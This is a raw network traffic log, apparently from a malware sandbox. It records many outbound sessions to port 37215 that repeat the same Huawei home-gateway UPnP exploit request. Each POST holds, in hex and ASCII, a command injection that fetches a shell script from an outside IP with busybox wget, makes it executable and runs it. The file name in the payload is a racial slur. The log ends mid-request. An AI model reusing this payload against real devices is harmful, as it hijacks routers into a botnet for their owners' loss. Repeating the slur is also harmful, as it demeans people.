0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.024724007 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:06.055202007 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.651567936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	48480	94.122.11.0	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321162939 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	53782	94.121.213.108	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321286917 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	50676	94.120.6.95	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.321371078 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.521447897 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:49.929261923 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.744878054 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 